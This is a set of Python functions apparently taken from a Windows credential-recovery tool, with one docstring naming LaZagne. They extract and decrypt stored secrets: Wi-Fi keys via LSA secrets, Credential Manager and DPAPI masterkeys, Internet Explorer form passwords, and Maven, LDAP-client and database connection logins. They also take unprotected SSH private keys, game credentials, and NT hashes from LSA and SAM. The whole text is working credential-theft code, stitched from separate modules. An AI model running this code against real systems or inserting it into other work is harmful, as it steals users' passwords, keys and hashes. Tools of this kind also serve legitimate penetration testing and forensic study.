def run(self, profile): path = os.path.join(profile['APPDATA'], 'Skype') if not os.path.exists(path): return pwd_found = set() # retrieve the key used to build the salt key = self.get_regkey(profile) if not key: log.error('Skype: The salt has not been retrieved') return username = self.get_username(path) d = os.path.join(path, username) if username and os.path.exists(d): info = self.get_info(key, username, d) if info: pwd_found.add(info) if not pwd_found: for d in os.listdir(path): info = self.get_info(key, d, os.path.join(path, d)) if info: pwd_found.add(info) return list(pwd_found)
def parse_json(self, connection_file_path): repos_creds = [] if not os.path.exists(connection_file_path): return repos_creds with open(connection_file_path) as connection_file: try: connections_infos = json.load(connection_file) except Exception: return repos_creds for connection in connections_infos.get("connections", []): try: creds = { "Name": connection["connectionName"], "Host": connection["serverHost"], "Port": connection["serverPort"] } crd = connection["credentials"][0] if crd.get("enabled"): creds.update({ "AuthMode": "CREDENTIALS", "DatabaseName": crd["databaseName"], "AuthMechanism": crd["mechanism"], "Login": crd["userName"], "Password": crd["userPassword"] }) else: creds.update({ "Host": connection["ssh"]["host"], "Port": connection["ssh"]["port"], "Login": connection["ssh"]["userName"] }) if connection["ssh"]["enabled"] and connection["ssh"][ "method"] == "password": creds.update({ "AuthMode": "SSH_CREDENTIALS", "Password": connection["ssh"]["userPassword"] }) else: creds.update({ "AuthMode": "SSH_PRIVATE_KEY", "Passphrase": connection["ssh"]["passphrase"], "PrivateKey": self.read_file_content( connection["ssh"]["privateKeyFile"]), "PublicKey": self.read_file_content( connection["ssh"]["publicKeyFile"]) }) repos_creds.append(creds) except Exception as e: log.error(f"Cannot retrieve connections credentials '{e}'") return repos_creds
def run(self, profile): interfaces_dir = os.path.join('C:\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces') # # for windows Vista or higher if not os.path.isdir(interfaces_dir): return pwd_found = [] for wifi_dir in os.listdir(interfaces_dir): repository = os.path.join(interfaces_dir, wifi_dir) if not os.path.isdir(repository): continue for file in os.listdir(repository): f = os.path.join(repository, file) if not os.path.isfile(f): continue values = {} tree = ElementTree(file=f) root = tree.getroot() xmlns = root.tag.split("}")[0] + '}' for elem in tree.iter(): if elem.tag.endswith('SSID'): for w in elem: if w.tag == xmlns + 'name': values['SSID'] = w.text if elem.tag.endswith('authentication'): values['Authentication'] = elem.text if elem.tag.endswith('protected'): values['Protected'] = elem.text if elem.tag.endswith('keyMaterial'): try: password = self.decrypt_using_lsa_secret(elem.text, profile) if not password: password = self.decrypt_using_netsh(ssid=values['SSID']) if password: values['Password'] = password else: values['INFO'] = '[!] Password not found.' except Exception: log.error(traceback.format_exc()) values['INFO'] = '[!] Password not found.' if values: pwd_found.append(values) return pwd_found
def run(self, profile): pwd_found = [] creds_directory = os.path.join(profile['LOCALAPPDATA'], 'Microsoft', 'Credentials') creds_directory2 = os.path.join(profile['APPDATA'], 'Microsoft', 'Credentials') if not profile.get('mkfiles'): return for folder in [creds_directory, creds_directory2]: if not os.path.isdir(creds_directory): continue for cred_file in os.listdir(folder): try: data = open(os.path.join(folder, cred_file), 'rb').read() cred = CredentialFile(data) blob = DPAPI_BLOB(cred['Data']) masterkey = profile['mkfiles'].get( bin_to_string(blob['GuidMasterKey']).lower()) if masterkey: decrypted = blob.decrypt(masterkey) if decrypted is not None: blob = CREDENTIAL_BLOB(decrypted) pwd = blob['Unknown3'] try: pwd = pwd.decode('utf-16-le').rstrip('\0') except: pass pwd_found.append({ 'Target': blob['Target'].decode('utf-16-le').rstrip( '\0'), 'Username': blob['Username'].decode('utf-16-le').rstrip( '\0'), 'Password': pwd, 'LastWritten': datetime.utcfromtimestamp( getUnixTime(blob['LastWritten'])) }) except Exception: log.error(traceback.format_exc()) return pwd_found
def run(self, profile): if float('.'.join(platform.version().split('.')[:2])) > 6.1: log.debug( 'Internet Explorer passwords are stored in Vault (check vault module)' ) return pwd_found = set() try: hkey = OpenKey( winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2' ) except Exception: log.debug(traceback.format_exc()) else: nb_site = 0 nb_pass_found = 0 # retrieve the urls from the history hash_tables = self.get_hash_table() num = winreg.QueryInfoKey(hkey)[1] for x in range(0, num): k = winreg.EnumValue(hkey, x) if k: nb_site += 1 for h in hash_tables: # both hash are similar, we can decipher the password if h[1] == k[0][:40].lower(): nb_pass_found += 1 cipher_text = k[1] pwd_found |= self.decipher_password( profile, cipher_text, h[0]) break winreg.CloseKey(hkey) # manage errors if nb_site > nb_pass_found: log.error( '%s hashes have not been decrypted, the associate website used to decrypt the ' 'passwords has not been found' % str(nb_site - nb_pass_found)) return list(pwd_found)
def get_firefox_profiles(self, directory): """ List all profiles """ cp = RawConfigParser() profile_list = [] if os.path.isfile(os.path.join(directory, 'profiles.ini')): try: cp.read(os.path.join(directory, 'profiles.ini')) for section in cp.sections(): if section.startswith('Profile') and cp.has_option( section, 'Path'): profile_path = None if cp.has_option(section, 'IsRelative'): if cp.get(section, 'IsRelative') == '1': profile_path = os.path.join( directory, cp.get(section, 'Path').strip()) elif cp.get(section, 'IsRelative') == '0': profile_path = cp.get(section, 'Path').strip() else: # No "IsRelative" in profiles.ini profile_path = os.path.join( directory, cp.get(section, 'Path').strip()) if profile_path: profile_list.append(profile_path.replace( '/', '\\')) except Exception as e: log.error(f'An error occurred while reading profiles.ini: {e}') else: for i in os.listdir(directory): i = os.path.join(directory, i, 'cookies.sqlite') if os.path.isfile(i): profile_list.append(i) return list(set(profile_list))
def run(self): creds = [] results = None # Find the location of steam - to make it easier we're going to use a try block # 'cos I'm lazy try: with OpenKey(winreg.HKEY_CURRENT_USER, 'Software\\Valve\\Steam') as key: results = winreg.QueryValueEx(key, 'SteamPath') except Exception: pass if not results: return steampath = results[0] userdata = os.path.join(steampath, 'userdata') # Check that we have a userdata directory if not os.path.exists(userdata): log.error('Steam doesn\'t have a userdata directory.') return # Now look for Galcon Fusion in every user for f in os.listdir(userdata): filepath = os.path.join(userdata, f, '44200\\remote\\galcon.cfg') if not os.path.exists(filepath): continue # If we're here we should have a Galcon Fusion file with open(filepath, mode='rb') as cfgfile: # We've found a config file, now extract the creds data = cfgfile.read() creds.append({ 'Login': data[4:0x23], 'Password': data[0x24:0x43] }) return creds
def run(self, profile): """ Extract all connection's credentials. :return: List of dict in which one dict contains all information for a connection. """ repos_creds = [] connection_file_location = os.path.join( profile["USERPROFILE"], '.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml' ) if os.path.isfile(connection_file_location): try: connections = parse(connection_file_location).getroot() connection_nodes = connections.findall(".//connection") for connection_node in connection_nodes: creds = {} for connection_attr_name in connection_node.attrib: # Interesting XML attributes in ADS connection configuration if connection_attr_name in ["host", "port", "bindPrincipal", "bindPassword", "authMethod"]: creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip() if creds: repos_creds.append(creds) except Exception as e: log.error("Cannot retrieve connections credentials '%s'" % e) # Parse and process the list of connections credentials pwd_found = [] for creds in repos_creds: pwd_found.append({ "Host" : creds["host"], "Port" : creds["port"], "Login" : creds["bindPrincipal"], "Password" : creds["bindPassword"], "AuthenticationMethod" : creds["authMethod"] }) return pwd_found
def run(self): creds = [] results = None # Find the location of steam - to make it easier we're going to use a try block # 'cos I'm lazy try: with OpenKey(winreg.HKEY_CURRENT_USER, 'Software\Valve\Steam') as key: results = winreg.QueryValueEx(key, 'SteamPath') except Exception: pass if not results: return steampath = results[0] steamapps = os.path.join(steampath, 'SteamApps\common') # Check that we have a SteamApps directory if not os.path.exists(steamapps): log.error('Steam doesn\'t have a SteamApps directory.') return filepath = os.path.join(steamapps, 'Turba\\Assets\\Settings.bin') if not os.path.exists(filepath): log.debug('Turba doesn\'t appear to be installed.') return # If we're here we should have a valid config file file with open(filepath, mode='rb') as filepath: # We've found a config file, now extract the creds data = filepath.read() chunk = data[0x1b:].split(b'\x0a') creds.append({'Login': chunk[0], 'Password': chunk[1]}) return creds
def extract_private_keys_unprotected(self): """ Extract all DSA/RSA private keys that are not protected with a passphrase. :return: List of encoded key (key file content) """ keys = [] if os.path.isdir(self.key_files_location): for (dirpath, dirnames, filenames) in os.walk(self.key_files_location, followlinks=True): for f in filenames: key_file_path = os.path.join(dirpath, f) if os.path.isfile(key_file_path): try: # Read encoded content of the key with open(key_file_path, "r") as key_file: key_content_encoded = key_file.read() # Determine the type of the key (public/private) and what is it algorithm if "DSA PRIVATE KEY" in key_content_encoded: key_algorithm = "DSA" elif "RSA PRIVATE KEY" in key_content_encoded or "OPENSSH PRIVATE KEY" in key_content_encoded: key_algorithm = "RSA" else: key_algorithm = None # Check if the key can be loaded (used) without passphrase # if key_algorithm is not None and self.is_private_key_unprotected(key_content_encoded, # key_algorithm): if key_algorithm: keys.append(key_content_encoded) except Exception as e: log.error("Cannot load key file '%s' '%s'" % (key_file_path, e)) pass return keys
def run(self, profile, system=None): if profile.get('mkfiles'): return profile['mkfiles'] dpapi = DPAPI() if profile.get('sys32'): dpapi.masterkeys = { **profile['sys32'].get('machine', {}), **profile['sys32'].get('user', {}) } if system: files = system else: files = os.path.join(profile['APPDATA'], 'Microsoft', 'Protect', profile['SID']) if not os.path.isdir(files): return for pwd in profile.get('passwords', []) + [profile.get('password', '')]: dpapi.get_prekeys_from_password(profile['SID'], password=pwd, nt_hash=None) lsa = LsaSecrets().run(profile) for x in lsa['logon_sessions']: x = lsa['logon_sessions'][x] sid = x['sid'] for dc in x['kerberos_creds']: if dc['password'] is not None: dpapi.get_prekeys_from_password(sid, password=dc['password'], nt_hash=None) if dc['pin'] is not None: dpapi.get_prekeys_from_password(sid, password='******' % dc['pin'], nt_hash=None) for dc in x['msv_creds']: if dc['NThash'] is not None and len(dc['NThash']) == 16: dpapi.get_prekeys_from_password(sid, password=None, nt_hash=dc['NThash']) if dc['SHAHash'] is not None and len(dc['SHAHash']) == 20: dpapi.prekeys[dc['SHAHash']] = 1 for dc in x['dpapi_creds']: dpapi.masterkeys[dc['key_guid']] = dc['masterkey'] for i in [ 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'credman_creds', 'tspkg_creds' ]: for dc in x[i]: if dc['password'] is not None: dpapi.get_prekeys_from_password( sid, password=dc['password'], nt_hash=None) for dc in x['cloudap_creds']: dpapi.masterkeys[dc['key_guid']] = dc['dpapi_key'] reg = RegistrySecrets().run(profile) if reg['SECURITY']: for secret in reg['SECURITY']['cached_secrets']: if secret['type'] == 'LSASecretDPAPI': dpapi.prekeys[secret['user_key']] = 1 dpapi.prekeys[secret['machine_key']] = 1 if reg['SAM']: for secret in reg['SAM']['local_users']: if secret['nt_hash']: sid = '%s-%s' % (reg['SAM']['machine_sid'], secret['rid']) dpapi.get_prekeys_from_password(sid, nt_hash=secret['nt_hash']) list_files = os.listdir(files) preferred_guid = None if 'Preferred' in list_files: list_files.remove('Preferred') with open(os.path.join(files, 'Preferred'), 'rb') as pfile: GUID1 = pfile.read(8) GUID2 = pfile.read(8) GUID = struct.unpack("<LHH", GUID1) GUID2 = struct.unpack(">HLH", GUID2) preferred_guid = f"{GUID[0]:08x}-{GUID[1]:04x}-{GUID[2]:04x}-{GUID2[0]:04x}-{GUID2[1]:08x}{GUID2[2]:04x}" if preferred_guid in list_files: with open(os.path.join(files, preferred_guid), 'rb') as pfile: profile['extra']['PreferredRaw'] = pfile.read() for file in list_files: if file.lower() in dpapi.masterkeys or not os.path.isfile( os.path.join(files, file)): continue try: dpapi.decrypt_masterkey_file(os.path.join(files, file)) except Exception: log.error(traceback.format_exc()) return dpapi.masterkeys
def run(self, profile): """ Main function: - For encrypted password, provides the encrypted version of the password with the master password in order to allow "LaZagne run initiator" the use the encryption parameter associated with the version of Maven because encryption parameters can change between version of Maven. - "LaZagne run initiator" can also use the encrypted password and the master password "AS IS" in a Maven distribution to access repositories. See: github.com/jelmerk/maven-settings-decoder github.com/sonatype/plexus-cipher/blob/master/src/main/java/org/sonatype/plexus/components/cipher/PBECipher.java """ # Extract the master password master_password = None master_password_file_location = profile["USERPROFILE"] + u'\\.m2\\settings-security.xml' if os.path.isfile(master_password_file_location): try: config = ElementTree.parse(master_password_file_location).getroot() master_password_node = config.find(".//master") if master_password_node is not None: master_password = master_password_node.text except Exception as e: log.error("Cannot retrieve master password '%s'" % e) master_password = None # Extract all available repositories credentials repos_creds = [] maven_settings_file_location = profile["USERPROFILE"] + '\\.m2\\settings.xml' if os.path.isfile(maven_settings_file_location): try: settings = ElementTree.parse(maven_settings_file_location).getroot() server_nodes = settings.findall(".//%sserver" % "{http://maven.apache.org/SETTINGS/1.0.0}") for server_node in server_nodes: creds = {} for child_node in server_node: tag_name = child_node.tag.replace("{http://maven.apache.org/SETTINGS/1.0.0}", "") if tag_name in ["id", "username", "password", "privateKey", "passphrase"]: creds[tag_name] = child_node.text.strip() if len(creds) > 0: repos_creds.append(creds) except Exception as e: log.error("Cannot retrieve repositories credentials '%s'" % e) # Parse and process the list of repositories's credentials # 3 cases are handled: # => Authentication using password protected with the master password (encrypted) # => Authentication using password not protected with the master password (plain text) # => Authentication using private key pwd_found = [] for creds in repos_creds: values = {"Id": creds["id"], "Login": creds["username"]} if "privateKey" in creds: pk_file_location = creds["privateKey"] pk_file_location = pk_file_location.replace("${user.home}", profile["USERPROFILE"]) if not os.path.isfile(pk_file_location): pwd = creds["password"].strip() # Case for authentication using password protected with the master password if pwd.startswith("{") and pwd.endswith("}"): values["SymetricEncryptionKey"] = master_password values["PasswordEncrypted"] = pwd else: values["Password"] = pwd else: # Case for authentication using private key pk_file_location = creds["privateKey"] pk_file_location = pk_file_location.replace("${user.home}", profile["USERPROFILE"]) with open(pk_file_location, "r") as pk_file: values["PrivateKey"] = pk_file.read() if "passphrase" in creds: values["Passphrase"] = creds["passphrase"] pwd_found.append(values) return pwd_found